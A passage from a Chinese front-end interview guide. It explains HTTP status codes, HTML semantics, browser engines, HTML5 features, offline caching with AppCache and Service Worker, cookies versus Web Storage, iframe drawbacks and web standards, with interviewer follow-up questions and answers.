    若请求成功并创建了新资源,更明确的状态码是 201 Created,它能直接表达创建结果。200 OK 只表示请求正常成功,语义较宽;若服务器只是接收任务但尚未完成处理,则应考虑 202 Accepted,不能提前宣称资源已创建。

  • 批量导出报表需要后台处理几分钟,接口收到任务后立刻返回,产品坚持用 201,你会怎样判断?

    若服务器只是接受请求、尚未完成导出,应返回 202 Accepted,让客户端按约定查询后续状态。只有已经成功创建相应资源时,201 才贴合语义;202 也不保证最终处理成功,因此还需要任务状态与失败反馈机制。

  • 登录用户能访问项目列表,但打开管理员审计页时权限不足,接口应该返回 401 还是 403?

    用户身份已确认但没有访问该页面的权限,应返回 403 Forbidden。401 Unauthorized 更适合请求未获得有效授权的情况;若系统出于资源隐藏策略统一返回 404,那属于额外安全约定,不能把三个状态码的基本语义混用。

  • CDN 回源突然大量出现 304,但浏览器仍重复下载完整资源,你会检查响应链路里的什么现象?

    先确认浏览器收到的确实是 304 Not Modified,并且本地仍保存着可复用的资源实体;304 本身表示资源自上次请求后未修改。若完整正文仍被传输,应排查中间缓存、状态码改写或客户端缓存丢失,不能把正常的协商响应当成新内容。

  • 旧域名迁移尚未验证完成,SEO 要求直接上 301,运维希望先用 302,你支持哪一方?

    迁移尚未确认稳定时应先使用 302 Found 表达临时重定向,验证目标地址和链路后再决定是否改为 301 Moved Permanently。301 明确表示永久移动,语义和缓存影响更强;临时阶段贸然使用会提高错误迁移的修复成本。

  • 大促期间接口一会儿成功、一会儿因过载失败,监控只记成统一的 500,你会要求区分哪个状态码?

    由过载或维护导致的暂时不可处理应区分为 503 Service Unavailable,而 500 Internal Server Error 表示一般性的服务器内部错误。区分后监控和客户端才能判断故障性质;但是否重试仍需结合请求是否幂等及服务端策略,不能看到 503 就无限重放。

# 7 语义化的理解

⚡ 30 秒速记

  • 一句话:用正确的标签做正确的事,让机器(读屏器、爬虫、阅读模式)读懂页面结构
  • 无障碍:header/nav/main/aside/footer 会映射成无障碍树里的 role,读屏器用户靠这些地标跳转,div 汤会让这套导航彻底失效
  • SEO:标题层级构成文档大纲,是搜索引擎判断内容结构的主要依据
  • 可维护:不靠 class 命名猜语义,样式丢失时文档依然可读
  • 常见误区:语义化不等于"少用 div",而是"有合适的标签就别用 div"

语义化就是用合适的标签和属性准确描述页面内容,而不是把所有结构都堆成 <div>。 这样浏览器、搜索引擎和屏幕阅读器更容易理解页面层级,也能改善 SEO、可访问性以及代码维护体验。实际开发中,我会用 <header>、<nav>、<article> 表达结构,为图片提供 alt,并让表单控件与标签正确关联。语义标签不能代替合理的层级和嵌套,选错标签同样会让结构变得含糊。

语义化是指在编写HTML和CSS代码时,通过恰当的选择标签和属性,使得代码更具有语义性和可读性,使得页面结构和内容更加清晰明了。语义化的目的是让页面具备良好的可访问性、可维护性和可扩展性。

语义化的重要性体现在以下几个方面:

  1. 可访问性(Accessibility):通过使用恰当的标签和属性,可以提高页面的可访问性,使得辅助技术(如屏幕阅读器)能够更好地理解和解析页面内容,使得残障用户能够正常浏览和使用网页。
  2. 搜索引擎优化(SEO):搜索引擎更喜欢能够理解和解析的页面内容,语义化的HTML结构可以提高页面在搜索引擎结果中的排名,增加网页的曝光和访问量。
  3. 代码可读性和可维护性:使用语义化的标签和属性,可以让代码更易于阅读和理解,提高代码的可维护性。开发人员可以更快速地定位和修改特定功能或内容。
  4. 设备兼容性:不同设备和平台对于网页的渲染和解析方式有所不同,语义化的代码可以增加网页在各种设备上的兼容性,确保页面在不同环境中的正确显示和使用。

语义化在前端开发中的具体表现和实践包括以下几个方面:

  1. 选择合适的HTML标签:在构建页面结构时,选择恰当的HTML标签来描述内容的含义。例如,使用<header>表示页面的页眉,<nav>表示导航栏,<article>表示独立的文章内容等。
  2. 使用有意义的标签和属性:避免滥用<div>标签,而是选择更具语义的标签来表达内容的含义。同时,合理使用标签的属性,如alt属性用于图像的替代文本,title属性用于提供额外的信息等。
  3. 结构和层次化:通过正确嵌套和组织HTML元素,构建清晰的页面结构和层次关系。使用语义化的父子关系,让内容的层级关系更加明确,便于样式和脚本的编写和维护。
  4. 文本格式化:使用合适的标签和属性来标记文本的格式和语义。例如,使用<strong>标签表示重要文本,<em>标签表示强调文本,<blockquote>标签表示引用文本等。
  5. 无障碍支持:考虑到残障用户的需求,使用语义化的标签和属性可以提高页面的可访问性。例如,为表格添加适当的表头和描述信息,为表单元素关联标签等。
  6. CSS选择器的语义化:在编写CSS样式时,尽量使用具有语义的类名和ID,避免过于依赖元素标签选择器,以增强样式的可读性和可维护性。

通过遵循语义化的原则,我们能够构建出更具有可读性、可访问性和可维护性的前端代码,提高用户体验和开发效率。同时,也能够使网页在不同的环境和设备上保持一致的表现,增强网站的可持续性和可扩展性。

总结

  • 用正确的标签做正确的事情!
  • HTML语义化就是让页面的内容结构化,便于对浏览器、搜索引擎解析;
  • 在没有样式CSS情况下也以一种文档格式显示,并且是容易阅读的。
  • 搜索引擎的爬虫依赖于标记来确定上下文和各个关键字的权重,利于 SEO。
  • 使阅读源代码的人对网站更容易将网站分块,便于阅读维护理解

💬 面试官追问

  • 商品详情页把价格、库存和购买按钮全部写成带类名的 div,视觉效果正常,关闭 CSS 后却无法辨认结构,这能算语义化吗?

    不能,视觉样式相同不代表内容含义相同,应使用标题、段落、列表和按钮等匹配职责的元素。语义结构能让无样式文档仍可阅读,也便于浏览器、搜索引擎和辅助技术解析;若只为布局包裹内容,保留 div 反而更准确。

  • 后台系统有一个用 div 模拟的“提交”控件,鼠标能点击,但键盘用户无法操作,你会要求怎么改?

    应优先替换为原生 button,让控件直接获得按钮语义和浏览器提供的基础交互能力。若受组件框架限制只能保留 div,就必须补齐可聚焦、键盘操作和状态表达,但这些手工逻辑更容易遗漏,也增加维护成本。

  • 资讯页每个广告容器都用了 section,但其中既没有标题,也不能作为独立内容理解,你会保留这些标签吗?

    不会,仅用于样式或栅格布局的容器更适合使用 div。section 应表达页面中的一个内容章节,并通过清晰的标题和嵌套关系体现层次;滥用语义元素会让文档结构变得含混,不能仅凭标签名称提升语义。

  • 表单上线后,读屏器只播报输入框类型,不播报“手机号”和“验证码”,但页面上肉眼能看到文字,你先排查哪里?

    先检查可见文本是否通过 label 与对应表单控件建立了明确关联,而不是仅靠位置或占位符暗示含义。随后核对控件嵌套、标识符和错误提示的结构;只增加视觉文字无法保证辅助技术理解,额外属性也不能弥补错误的基础结构。

  • 产品认为把所有页面改成 header、nav、article 和 footer 就能直接提高搜索排名,研发该怎样判断这项改造?

    这项改造的直接价值是帮助搜索引擎识别正文、导航和内容层级,而不能保证排名必然提升。应先修正标题结构、正文边界和错误嵌套,再结合内容质量评估收益;若只是机械替换 div,可能改善可读性,却未必产生可观的搜索结果变化。

# 8 介绍一下你对浏览器内核的理解?

⚡ 30 秒速记

  • 内核 = 渲染引擎 + JavaScript 引擎,早期合在一起,后来 JS 引擎独立出来
  • 现存三家:Blink(Chrome / Edge / Opera / 国产浏览器)、WebKit(Safari)、Gecko(Firefox)
  • 对应 JS 引擎:V8、JavaScriptCore、SpiderMonkey
  • 已经退场:Trident(IE)、EdgeHTML(旧 Edge)、Presto(旧 Opera),2026 年提这些只当历史背景
  • 实际影响:iOS 上所有浏览器都被强制套 WebKit,所以"Chrome for iOS ≠ Blink",移动端兼容性问题多半出在这里

浏览器内核可以理解为负责页面渲染的引擎,以及负责解析和执行 JavaScript 的引擎。 渲染引擎会解析 HTML、样式和图像,完成样式计算、布局与绘制;常见实现包括 WebKit、Blink、Gecko 和旧版 IE 使用的 Trident。脚本执行则由 V8、SpiderMonkey、JavaScriptCore 等引擎负责。不同内核对页面的解释和渲染可能存在差异,因此涉及布局、样式或交互时仍要做兼容性测试。

浏览器内核是浏览器的核心组成部分,主要分为两个部分:渲染引擎(也称为布局引擎或渲染引擎)和 JavaScript 引擎。

  • 渲染引擎:渲染引擎负责解析网页的 HTML、XML、图像等内容,并将其转换为可视化的网页形式展示给用户。它负责处理网页的布局、样式计算、绘制等任务。不同浏览器的内核对网页的解释和渲染方式可能会有差异,因此不同浏览器的渲染效果也会有所不同。常见的渲染引擎包括:
    • WebKit:主要用于 Safari 和 Chrome 浏览器。
    • Gecko:主要用于 Firefox 浏览器。
    • Trident:主要用于旧版本的 Internet Explorer 浏览器。
    • Blink:基于 WebKit,用于 Chrome、Opera 和部分 Chromium 浏览器。
  • JavaScript 引擎:JavaScript 引擎负责解析和执行网页中的 JavaScript 代码,实现网页的动态交互和功能。不同浏览器的 JavaScript 引擎性能和特性也可能存在差异。常见的 JavaScript 引擎包括:
    • V8:用于 Chrome 和 Opera 浏览器,具有高性能和快速执行速度。
    • SpiderMonkey:用于 Firefox 浏览器。
    • JavaScriptCore:用于 Safari 浏览器。
  • 在早期,渲染引擎和 JavaScript 引擎没有明确的分离,它们在同一个内核中工作。随着时间的推移,JavaScript 引擎逐渐独立出来,使内核更专注于页面渲染和布局方面的任务。
  • 理解浏览器内核对于前端开发人员非常重要,因为不同的内核可能会对网页的解释和渲染产生影响,从而影响页面的布局、样式和交互效果。在开发过程中,需要考虑不同浏览器内核的差异,并进行兼容性测试和优化,以确保网页在不同浏览器上都能正确显示和运行。

💬 面试官追问

  • 测试同学说“页面能执行 JavaScript,说明浏览器内核渲染没有问题”,但实际首屏布局全部错位,你同意这个判断吗?

    不同意,脚本执行和页面渲染由职责不同的部分承担,前者正常不能证明样式计算、布局与绘制正常。应分别检查 JavaScript 引擎报错和渲染引擎对 HTML、CSS 的解析结果;把二者统称为一个故障点会误导定位。

  • 同一套活动页在 Chrome、Firefox 和 Safari 上出现边距及交互差异,研发排期只允许做一轮兼容处理,你会怎样落地?

    应按各浏览器所用渲染引擎和脚本引擎分别验证布局、样式与交互,而不是只看页面能否打开。先锁定影响核心流程的差异,再通过兼容写法和跨浏览器测试收敛;只在单一浏览器调通,无法证明其他内核解释结果一致。

  • 企业旧终端仍使用基于 Trident 的浏览器,新系统却大量采用现代页面能力,业务要求与新版浏览器表现完全一致,你会直接承诺吗?

    不会直接承诺,因为旧渲染引擎对页面结构、样式和脚本特性的解释能力可能与现代内核存在明显差异。应先划定必须支持的功能并进行兼容性验证,必要时提供降级页面;完全一致往往意味着更高实现和测试成本,部分能力还可能无法补齐。

  • 线上页面只有 Firefox 出现按钮位置偏移,但控制台没有脚本异常,排查时你会先看 V8 相关问题还是布局链路?

    应先查布局链路,因为 Firefox 使用的脚本引擎不是 V8,且没有脚本异常时更应关注样式计算、元素尺寸和绘制差异。通过最小复现逐步移除样式并对比其他渲染引擎;若交互状态会动态改样式,再回到脚本执行链路验证。

  • 架构评审中有人建议用“换一个更快的 JavaScript 引擎”解决图片解码后页面闪烁,你会接受这个选型吗?

    不会把它作为首选,因为图片、布局和绘制主要属于渲染链路,脚本引擎只负责解析与执行 JavaScript。应先确认闪烁是否来自资源加载、样式重算或绘制时序;只有证据表明脚本计算阻塞了渲染时,脚本执行性能才是相关因素。

# 9 html5有哪些新特性、移除了那些元素?

⚡ 30 秒速记

  • 分类记忆:语义标签(article/section/nav/header/footer)、多媒体(audio/video)、绘图(canvas/svg)、存储(localStorage/sessionStorage/IndexedDB)、通信(WebSocket/postMessage/CORS)、设备(Geolocation/Notification)、性能(Web Worker/history API)
  • 移除的:纯表现标签 font/center/big/s/strike/tt/u,以及影响可用性的 frame/frameset/noframes
  • 区分 HTML 和 HTML5 看 DOCTYPE:HTML5 只需要 <!DOCTYPE html>
  • 注意:离线应用 manifest(AppCache)当年算新特性,现在已从标准移除,改用 Service Worker

HTML5 增加了语义化、多媒体、客户端存储和通信等能力,同时移除了纯表现元素与 frame 系列。 常见的新能力有 video、audio、canvas、localStorage、WebSocket,以及 header、nav、section 等语义标签。像 font、center、frameset 这类元素被淘汰,是因为样式应交给 CSS,框架页也会影响可用性。区分 HTML 与 HTML5 时,我一般看 DOCTYPE、新增结构元素和功能元素。

  • HTML5 现在已经不是 SGML 的子集,主要是关于图像,位置,存储,多任务等功能的增加
    • 新增选择器 document.querySelector、document.querySelectorAll
    • 拖拽释放(Drag and drop) API
    • 媒体播放的 video 和 audio
    • 本地存储 localStorage 和 sessionStorage
    • 离线应用 manifest
    • 桌面通知 Notifications
    • 语意化标签 article、footer、header、nav、section
    • 增强表单控件 calendar、date、time、email、url、search
    • 地理位置 Geolocation
    • 多任务 webworker
    • 全双工通信协议 websocket
    • 历史管理 history
    • 跨域资源共享(CORS) Access-Control-Allow-Origin
    • 页面可见性改变事件 visibilitychange
    • 跨窗口通信 PostMessage
    • Form Data 对象
    • 绘画 canvas
  • 移除的元素:
    • 纯表现的元素:basefont、big、center、font、 s、strike、tt、u
    • 对可用性产生负面影响的元素:frame、frameset、noframes
  • 支持HTML5新标签:
    • IE8/IE7/IE6支持通过document.createElement方法产生的标签
    • 可以利用这一特性让这些浏览器支持HTML5新标签
    • 浏览器支持新标签后,还需要添加标签默认的样式
  • 当然也可以直接使用成熟的框架、比如html5shim

如何区分 HTML 和 HTML5

  • DOCTYPE声明、新增的结构元素、功能元素

💬 面试官追问

  • 老页面用 center、font 和 big 控制文章样式,改版负责人认为它们能显示就不必迁移,你会怎样处理?

    应将这些纯表现元素迁移为有语义的结构配合 CSS,因为它们不负责表达内容含义,并已不属于推荐的页面结构。迁移时要先保留视觉基线,再替换标签和样式;若旧浏览器仍在支持范围,还需单独回归显示差异。

  • 产品要在课程页加入视频、拖拽排序、日期输入和历史记录管理,你会把它们都交给同一种 HTML5 能力实现吗?

    不会,这些需求分别对应 video、拖放 API、增强表单控件和 history 等不同能力。实现前应逐项验证浏览器支持并设置降级路径;“属于 HTML5”只是宽泛分类,不能代表它们共享相同接口或兼容边界。

  • 运营工具要在主线程一次处理大量图片,同时要求输入框始终流畅,候选方案是 canvas 加普通循环,你会补充什么约束?

    canvas 负责绘制,不会自动把计算移出主线程;耗时任务应评估交给 Web Worker,再把结果传回页面绘制。拆分后仍要控制数据传递和渲染频率,因为工作线程不能直接替代所有页面操作,绘制压力也不会凭空消失。

  • 移动端注册页使用 type="date" 和 type="email",某些环境展示或校验行为与设计稿不同,你先认定是业务代码错误吗?

    不能直接认定,增强表单控件的界面和行为可能受到浏览器实现差异影响。应先核对元素类型、实际支持情况和提交值,再决定保留原生控件还是提供自定义降级;自定义方案能统一外观,但会增加校验、交互和可访问性成本。

  • 离线看板计划把所有接口数据都塞进 localStorage,并把它与 WebSocket、CORS 一起称为存储方案,你会如何纠正选型?

    应拆开职责:localStorage 和 sessionStorage 用于客户端存储,WebSocket 处理全双工通信,CORS 约束跨源访问。离线数据量和结构超出简单键值存储能力时需另评估存储技术;混用概念会掩盖容量、同步读写及网络安全边界。

# 10 HTML5的离线储存怎么使用,工作原理能不能解释一下?

⚡ 30 秒速记

  • 结论先行:AppCache(.appcache + manifest 属性)已从 Web 标准移除,主流浏览器全部下线,新项目不要再用
  • 当年怎么工作:html 标签上写 manifest 属性 → 浏览器下载清单里的资源存起来 → 离线时直接用本地副本
  • 它为什么被废弃:更新策略太死板(清单文件本身被缓存、改了资源不改清单就永远不更新)、失败无法回滚、无法细粒度控制
  • 今天的正确答案:Service Worker + Cache API —— 拦截 fetch 请求,用 JS 自己决定走缓存还是走网络,策略完全可编程
  • 面试遇到这题:先说 AppCache 已废弃,再讲 Service Worker 的缓存策略(cache-first / network-first / stale-while-revalidate),这才是加分点

传统的 AppCache 通过页面的 manifest 属性读取资源清单并缓存文件,但它已从标准移除,新项目应使用 Service Worker 和 Cache API。 当年浏览器会解析 .appcache 文件,在线时下载清单资源,离线时直接使用本地副本。页面还可以通过 window.applicationCache 处理相关状态,不过这种方式的更新和失败控制都比较僵硬。现在通常由 Service Worker 拦截 fetch,再按场景选择缓存优先、网络优先或后台更新。

内容已过时

下面描述的 AppCache(manifest + .appcache)已从 HTML 标准中移除,Chrome 85+、Firefox 84+ 均已彻底下线,新项目一律用 Service Worker + Cache API。保留这段是因为面试官偶尔仍会问"HTML5 离线存储",答题时要主动点出它已废弃并给出替代方案 —— 这恰恰是加分点。

  • 在用户没有与因特网连接时,可以正常访问站点或应用,在用户与因特网连接时,更新用户机器上的缓存文件
  • 原理:HTML5的离线存储是基于一个新建的.appcache文件的缓存机制(不是存储技术),通过这个文件上的解析清单离线存储资源,这些资源就会像cookie一样被存储了下来。之后当网络在处于离线状态下时,浏览器会通过被离线存储的数据进行页面展示
  • 如何使用:
    • 页面头部像下面一样加入一个manifest的属性;
    • 在cache.manifest文件的编写离线存储的资源
    • 在离线状态时,操作window.applicationCache进行需求实现
CACHE MANIFEST
#v0.11
CACHE:
js/app.js
css/style.css
NETWORK:
resourse/logo.png
FALLBACK:
/offline.html

💬 面试官追问

  • 维护人员拿出旧项目的 manifest="cache.appcache",要求新建的离线页面照搬这套配置,你会同意吗?

    不会,AppCache 已从标准移除,现代项目应采用 Service Worker 配合 Cache API。旧清单中的 CACHE、NETWORK 和 FALLBACK 可作为梳理资源策略的输入,但不能继续作为新项目实现基础,否则会面临浏览器不可用的硬边界。

  • 一个巡检页面需要断网后仍能打开外壳和离线提示,你会怎样把旧 AppCache 需求迁移为可落地方案?

    应注册 Service Worker,在其生命周期内缓存必要的页面、脚本和样式,并在请求处理中决定读取网络还是缓存。离线兜底页可在网络请求失败时返回;缓存范围和更新策略必须明确,否则资源更新后可能出现新旧文件不一致。

  • 业务从“只读离线页面”升级为“断网可编辑数百条巡检记录,联网后再提交”,只增加 Cache API 足够吗?

    不够,Cache API 适合管理请求与响应,业务记录仍需要合适的客户端数据存储,并设计重新联网后的同步流程。还要定义重复提交和冲突处理规则;没有服务端配合时,离线编辑只能保存本地状态,不能保证最终数据一致。

  • 发布后部分用户一直看到旧版脚本,即使刷新也不更新,站点使用了 Service Worker,你会从哪里开始排查?

    先核对 Service Worker 的注册范围、缓存命中策略和缓存版本,确认页面请求是否始终优先返回旧响应。再检查新工作线程是否完成安装和激活,并清理不再使用的缓存;直接让所有请求永久走缓存会增强离线能力,却可能阻断正常更新。

  • 新闻站评审时,一方要求所有内容采用缓存优先以保证秒开,另一方要求用户永远看到最新稿件,你会怎样取舍?

    不能对全部资源使用同一策略,稳定的静态资源可更积极缓存,而时效性强的正文应优先验证网络或设置明确更新机制。离线时再返回缓存内容并标注状态更稳妥;越偏向缓存,可用性越强,但内容陈旧风险也越高。

# 11 浏览器是怎么对HTML5的离线储存资源进行管理和加载的呢

⚡ 30 秒速记

  • 这题问的是 AppCache 的更新机制,而 AppCache 已从标准移除,实际价值只剩"知道它为什么失败"
  • AppCache 的流程:首次访问按 manifest 下清单资源存起来 → 之后每次都先用本地副本渲染,再后台比对 manifest 文件本身有没有变
  • 致命缺陷就在这:只比对 manifest 文件的字节,改了 js/css 却忘了改 manifest,用户会永远拿到旧版本;而且新资源要下次访问才生效
  • Service Worker 怎么解决:install 阶段预缓存、activate 阶段清理旧缓存、fetch 阶段按策略决定走网络还是走缓存,更新逻辑完全由你的 JS 控制
  • 常用策略:cache-first(静态资源)、network-first(接口)、stale-while-revalidate(先给旧的再后台更新)

使用 AppCache 时,浏览器在线检查 manifest 清单并管理缓存,离线时则直接加载已经保存的资源。 第一次访问会按清单下载文件;之后访问先使用本地资源,再比较新旧 manifest,只有清单发生变化才重新下载。也就是说,只改资源却不改清单,缓存可能不会更新,这也是它的明显边界。由于 AppCache 已被淘汰,现在应改用可编程控制请求和缓存的 Service Worker。

  • 在线的情况下,浏览器发现html头部有manifest属性,它会请求manifest文件,如果是第一次访问app,那么浏览器就会根据manifest文件的内容下载相应的资源并且进行离线存储。如果已经访问过app并且资源已经离线存储了,那么浏览器就会使用离线的资源加载页面,然后浏览器会对比新的manifest文件与旧的manifest文件,如果文件没有发生改变,就不做任何操作,如果文件改变了,那么就会重新下载文件中的资源并进行离线存储。
  • 离线的情况下,浏览器就直接使用离线存储的资源。

# 12 请描述一下 cookies,sessionStorage 和 localStorage 的区别?

⚡ 30 秒速记

  • 先讲设计意图,再讲参数:cookie 是给服务端用的(每次请求自动携带,所以必须小),Web Storage 是给客户端用的(不上传,所以可以大)
  • 容量:cookie 约 4KB,localStorage / sessionStorage 约 5MB
  • 生命周期:cookie 看 Expires/Max-Age,sessionStorage 跟标签页走(关标签页即清空,刷新不算),localStorage 不主动删就一直在
  • 作用域:cookie 受 Domain/Path 约束、可跨子域共享;localStorage 同源共享;sessionStorage 连同源的另一个标签页都读不到
  • 安全:cookie 可设 HttpOnly(JS 读不到,防 XSS 窃取)、Secure、SameSite;Web Storage 全是明文且 JS 可读,不要存 token 以外没保护的敏感信息
  • 补一句 IndexedDB:结构化、异步、容量上百 MB,存大量数据用它

cookie 主要用于随请求传给服务端,而 sessionStorage 和 localStorage 只保存在客户端,不会自动上传。 cookie 通常约 4KB,可通过过期时间、Domain 和 Path 控制有效期与范围;另外两者一般可存约 5MB 或更多。sessionStorage 跟当前窗口或标签页会话走,关闭后清除;localStorage 在同源页面间共享,除非主动删除,否则会长期保留。登录状态等少量服务端必需信息适合 cookie,临时表单数据适合 sessionStorage,长期配置更适合 localStorage。

cookies、sessionStorage 和 localStorage 都是在 Web 开发中用于在客户端存储数据的技术,但它们在以下方面存在区别:

存储容量

  • cookies:通常存储容量较小,一般限制在4KB左右。
  • sessionStorage:存储容量比 cookies 大,不同浏览器的限制有所不同,但一般可以存储5MB或更多的数据。
  • localStorage:存储容量也较大,通常和 sessionStorage 相近,能满足大多数 Web 应用的存储需求。

数据有效期

  • cookies:可以设置过期时间,若不设置,默认在浏览器关闭时失效。如果设置了过期时间,那么在过期时间之前,cookies 会一直存在于客户端,即使浏览器关闭后重新打开也依然有效。
  • sessionStorage:数据仅在当前会话期间有效,当浏览器窗口关闭时,sessionStorage 中的数据会被自动清除。
  • localStorage:数据没有自动过期时间,除非主动删除,否则数据会一直保存在客户端,即使浏览器关闭、电脑重启,数据依然存在。

作用域

  • cookies:在同域名下的不同页面之间可以共享,但如果设置了 Path 属性,那么只有在指定路径下的页面才能访问该 cookie。此外,cookies 还可以通过设置 Domain 属性在不同子域名之间共享。
  • sessionStorage:具有严格的页面级作用域,即只有在同一个浏览器窗口(或标签页)中打开的页面才能共享 sessionStorage 中的数据。不同浏览器窗口或标签页之间无法访问彼此的 sessionStorage 数据,即使它们来自同一个域名。
  • localStorage:在同域名下的所有页面都可以共享 localStorage 中的数据,只要是在同一个浏览器中访问该域名,无论在哪个页面存储的数据,其他页面都可以读取和修改。

与服务器的交互

  • cookies:每次向服务器发送请求时,浏览器会自动将同域名下的 cookies 发送到服务器,这可能会增加不必要的网络传输开销,尤其是当 cookies 数据量较大时。
  • sessionStorage 和 localStorage:数据仅存储在客户端,不会自动发送到服务器。如果需要与服务器进行数据交互,需要通过 Ajax 等方式手动将数据发送到服务器。

应用场景

  • cookies:常用于存储用户登录状态、购物车信息、用户偏好设置等。由于其会在每次请求时发送到服务器,所以也可以用于在客户端和服务器之间传递一些少量的必要信息。
  • sessionStorage:适合存储一些临时数据,例如在一个多步骤的表单填写过程中,存储用户在当前页面填写的数据,当用户完成整个流程或关闭页面时,这些数据就不再需要了。
  • localStorage:用于长期存储用户相关的数据,如用户的配置信息、离线缓存数据等。例如,一个 Web 应用可以将一些常用的静态资源存储在 localStorage 中,以便在离线状态下仍然能够访问应用的部分功能。

💬 面试官追问

  • 电商页把完整购物车 JSON 放进 cookie,每次图片请求都携带它,开发认为这和放进 localStorage 没区别,你认可吗?

    不认可,cookie 容量通常只有约 4KB,并会按作用域自动随请求发送;localStorage 容量更大且不会自动上传服务器。购物车若无需服务端在每次请求中读取,更适合客户端存储并按需同步,但长期数据仍需考虑过期与一致性。

  • 多步骤投保表单要求刷新后保留填写内容,关闭当前标签页后自动清除,你会选择哪种存储?

    应优先选择 sessionStorage,它适合保存当前标签页会话中的临时表单状态,刷新和同页导航时仍可读取。实现时还要按同源和标签页范围验证流程;若用户关闭标签页或换到独立标签页继续填写,数据通常不能按原方案共享。

  • 账号设置从单一子域扩展到多个子域,产品要求所有页面共享偏好数据,原先的 localStorage 方案还能直接沿用吗?

    不能直接沿用,localStorage 受源范围约束,不会因为属于同一主域就自动跨子域共享。若偏好需要随服务端请求使用,可评估设置合适 Domain 的 cookie;扩大共享范围也会扩大数据暴露面,不能为了便利无限放宽作用域。

  • 用户反馈关闭浏览器后仍保持登录,研发认定“会话 cookie 一定没有被清除”,你会怎样排查?

    先检查该 cookie 是否设置了过期时间,以及服务端是否通过其他凭据恢复登录状态。未设置过期时间的 cookie 通常按会话处理,设置后则可跨浏览器重启保留;还要结合实际浏览器会话恢复行为验证,不能只凭页面现象下结论。

  • 安全评审在 cookie 和 localStorage 之间争论登录凭据存放位置,你会依据哪些职责边界做决定?

    先确认凭据是否需要浏览器自动随请求发送:需要时 cookie 更贴近客户端与服务器传递场景,不需要时客户端存储可由代码按需读取。选型还必须结合脚本访问、请求作用域和过期策略评估风险;仅比较容量或持久时间,无法得出安全结论。

  • 运营页要求两个同源标签页同步筛选条件,但每个标签页的未提交表单必须彼此隔离,你会如何组合存储?

    共享的筛选条件可放入 localStorage,因为同源页面能够共同读取和修改;未提交表单放入 sessionStorage,以保持标签页级隔离。两类数据仍应使用不同键和清理策略,否则长期共享数据与临时会话数据会互相污染。

# 13 iframe有那些缺点?

⚡ 30 秒速记

  • 阻塞主页面 onload,拖慢首屏(真要用就用 JS 动态塞 src)
  • 不利于 SEO:iframe 里的内容不计入当前页面
  • 共享连接池,抢占同域并发请求数
  • 移动端适配困难,样式和滚动行为都难控制
  • 但别一棍子打死:沙箱隔离第三方内容(广告、支付、富文本编辑器)是 iframe 无可替代的场景,配合 sandbox 属性用
  • 替代方案:内容用 fetch + 组件渲染,隔离用 Shadow DOM 或 Web Components

iframe 的主要缺点是可能拖慢页面加载、影响 SEO,多个实例还会挤占并行连接。 它加载时会阻塞主页面的 onload,而且搜索引擎通常不能很好地理解其中的内容。由于它和主页面共享连接池,数量多时并行加载能力也可能下降。我一般不会把核心内容放进 iframe;必须使用时,可以用 JavaScript 动态设置 src,或者根据场景考虑 AJAX 等替代方案。

iframe是一种在网页中嵌入其他网页或文档的标签,虽然它在某些情况下可以提供一些便利,但也存在一些缺点需要考虑:

  • 阻塞主页面的 onload 事件:当页面中存在 iframe 时,iframe 的加载会阻塞主页面的 onload 事件触发。这可能会导致页面加载速度变慢,影响用户体验。
  • 不利于 SEO:搜索引擎的爬虫程序通常不能很好地解读 iframe 内部的内容。因此,如果重要的页面内容被放置在 iframe 中,搜索引擎可能无法正确地索引和收录这些内容,从而影响网页的搜索引擎优化(SEO)。
  • 连接限制和并行加载:iframe 和主页面共享连接池,而大多数浏览器对相同域的连接数有限制。这意味着当页面中包含多个 iframe 时,浏览器需要同时处理这些连接,可能会影响页面的并行加载能力,导致页面加载速度变慢。

为了避免以上问题,可以考虑以下解决方案:

  • 尽量避免使用 iframe,特别是在主要内容部分。
  • 如果必须使用 iframe,可以通过 JavaScript 动态地给 iframe 添加 src 属性值,而不是在静态 HTML 中指定。这样可以绕开阻塞主页面的 onload 事件。 对于需要被搜索引擎索引的重要内容,避免将其放置在 iframe 中。
  • 考虑使用其他替代方案,如 AJAX 加载内容或使用现代的前端框架来实现类似的效果。
  • 总之,iframe 在某些场景下可以提供方便,但在使用时需要注意其缺点,并根据具体情况进行权衡和选择。

💬 面试官追问

  • 内容团队把商品详情正文放进同域 iframe,页面肉眼可见且交互正常,却发现搜索引擎长期只收录外层空壳;“用户能看到就一定能被索引”为什么不成立?

    页面可见不等于搜索引擎会把嵌入内容归入父页面,重要正文放在 iframe 中存在无法被正确解读和收录的风险。应让核心内容直接进入主文档结构,只把非核心或确需隔离的页面留在 iframe;否则需要接受父页面 SEO 能力下降的代价。

  • 门户首页接入三个统计和客服页面后,首屏组件已经渲染完成,但 window.onload 迟迟不触发,依赖它关闭加载动画的代码一直卡住;你会怎么改?

    先检查这些 iframe 的资源加载是否拖延了主页面 onload,再把加载动画和首屏逻辑从该事件中解耦。非首屏嵌入内容可由 JavaScript 在主内容就绪后再设置 src;这样能减轻阻塞,但会推迟子页面可用时间并增加状态管理。

  • 一个后台从单个报表扩展到同域十几个 iframe,主页面静态资源和各报表同时加载时明显变慢;即使服务器没有报错,为什么嵌入数量仍可能成为瓶颈?

    这些 iframe 与主页面可能共享同域连接资源,数量增加后会争用有限的并行连接,主页面资源因而可能排队。应压缩同时加载的嵌入数量,并对非当前区域做延迟加载;若全部报表必须立即可用,就无法彻底避免并发竞争。

  • 线上页面偶发出现“主体已显示但初始化逻辑未执行”,监控显示主文档脚本无异常,只是某个第三方 iframe 响应很慢;排查顺序是什么?

    先确认初始化是否绑定在 window.onload,再逐个禁用或延迟设置 iframe.src,观察事件触发时间是否恢复。若定位到慢嵌入,应把关键初始化提前到不依赖全部子资源完成的阶段;第三方加载仍不可控,保留超时和降级界面更稳妥。

  • 架构评审中,一方主张继续用 iframe 快速接入旧报表,另一方要求改成 AJAX 或前端组件以改善加载和 SEO;你怎么划分适用边界?

    非核心、无需搜索引擎收录且改造成本高的独立页面,可以保留 iframe,但要控制数量和加载时机。主要内容或强依赖首屏性能的区域更适合直接渲染、AJAX 加载或组件化;替代方案会增加整合成本,也需自行处理样式与脚本协作。

# 14 WEB标准以及W3C标准是什么?

⚡ 30 秒速记

  • Web 标准三层:结构(HTML)、表现(CSS)、行为(JavaScript),核心思想是三者分离
  • W3C 负责 HTML/CSS/DOM/SVG/无障碍等规范;ECMA 负责 JavaScript 语言本身(ECMAScript)
  • 补一个现在更重要的:HTML 规范的事实标准是 WHATWG 的 HTML Living Standard,W3C 已于 2019 年与 WHATWG 达成协议,以后者为准
  • 落地要求:标签闭合、小写、正确嵌套、CSS/JS 外链、语义化、符合无障碍规范
  • 遵循标准的收益:跨浏览器一致、易维护、对 SEO 和辅助技术友好

